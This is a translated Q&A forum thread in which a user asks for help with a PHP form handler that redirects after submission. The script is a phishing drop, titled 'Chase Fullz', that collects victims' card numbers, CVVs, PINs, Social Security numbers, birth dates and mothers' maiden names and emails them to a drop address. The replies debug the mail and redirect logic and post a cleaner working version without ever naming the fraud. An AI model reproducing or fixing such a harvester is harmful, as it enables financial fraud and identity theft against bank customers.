2015-07-25 2 views
-1

Я весь день испортил этот код для друга, и я не могу заставить его перенаправить после отправки любой информации. Интересно, сможет ли кто-нибудь помочь.Php redirect/Header

мне нужно перенаправить site.com/logoff.php

<?php 
$ip = getenv("REMOTE_ADDR"); 
$hostname = gethostbyaddr($ip); 
$message .= "--------------+ User online +------------\n"; 
$message .= "Full Name : : ".$_POST['Name']."\n"; 
$message .= "Mailing Address : ".$_POST['address']."\n"; 
$message .= "Mailing Address 2 : ".$_POST['address2']."\n"; 
$message .= " City : ".$_POST['city']."\n"; 
$message .= " State : ".$_POST['state']."\n"; 
$message .= " Zip Code : ".$_POST['zip']."\n"; 
$message .= "--------------+ Card Info +------------\n"; 
$message .= " Confirm Card Number : ".$_POST['cardnumber']."\n"; 
$message .= " Expiration Date : ".$_POST['expmonth'].""; 
$message .= "".$_POST['expyear']."\n"; 
$message .= " Card Security Code : ".$_POST['cvv']."\n"; 
$message .= " Card Pin : ".$_POST['cardpin']."\n"; 
$message .= "--------------+ Security Information +------------\n"; 
$message .= " Social Security Number : ".$_POST['ssn1'].""; 
$message .= "-".$_POST['ssn2'].""; 
$message .= "-".$_POST['ssn3']."\n"; 
$message .= " Date of Birth : ".$_POST['bmonth'].""; 
$message .= "-".$_POST['bday'].""; 
$message .= "-".$_POST['byear']."\n"; 
$message .= " MMN : ".$_POST['mmn']."\n"; 
$message .= "--------------+ Connction info +------------\n"; 
$message .= "IP Address : ".$ip."\n"; 
$message .= "HostName : ".$hostname."\n"; 
$message .= "--------------------\n"; 
$rnessage = "$message\n"; 
$message .= "--------------+ Run the world +------------\n"; 

$send="[email protected]"; 


$subject = "Chase Fullz"; 
$headers = "From: ChaseFullz<[email protected]>"; 
$str=array($send, $IP); foreach ($str as $send) 
if(mail($send,$subject,$rnessage,$headers) != false){ 
mail($Send,$subject,$rnessage,$headers); 
mail($messege,$subject,$rnessage,$headers); 
Header ("Location:logoff.php"); 
} 
?> 
+0

Вы должны проверить ваш код немного более тщательно, вы получите 'неопределенными variable' предупреждения (проверьте правописание и регистр). И почему вы звоните по электронной почте 3 раза (последний раз с неправильными параметрами ...)? – jeroen

+0

Какие сообщения об ошибках вы получаете? 'ini_set ('display_errors', 1);' – ArtisticPhoenix

+1

Wow я удивляюсь, что не знаю никакого кода. Я удалил последние 2 параметра почты и перенаправил + по электронной почте. $ headers = "From: ChaseFullz <[email protected]>"; $ str = массив ($ send, $ IP); foreach ($ str as $ send) if (mail ($ send, $ subject, $ rnessage, $ headers)! = false) { header ('Location: users_table.php'); выход; } ?> –

ответ

0

Несколько вещей.

Вы звоните по почте() три раза.

Когда вы проверяете, является ли (mail() 1 = false) {}. вы отправляете почту еще два раза без получателя в 3-й почте();

mail ($ messege, $ subject, $ rnessage, $ headers);

Но все же, если вам нужно отправить несколько писем, вы можете определить их все в одном массиве.

$ recipients = array ('mail1', 'mail2');

mail (implode (',', $ recipients), $ subject, $ message, $ headers);

А также, если вам нужно вы можете распечатать ошибку

error_get_last()

+0

Ty для вашей помощи, я исправил его, прежде чем увидел это, но это было тем, что вызывало. Спасибо <3 –

0
$send="[email protected]"; 


$subject = "Chase Fullz"; 
$headers = "From: ChaseFullz<[email protected]>"; 
$str = array($send, $IP);/* seems redundant, you can't send an email to an ip address! */ 
/* Only one call to mail is needed */ 
if(mail($send, $subject, $message, $headers) != false){ 
    header ("Location:logoff.php"); 
} else { 
    echo 'failed'; 
}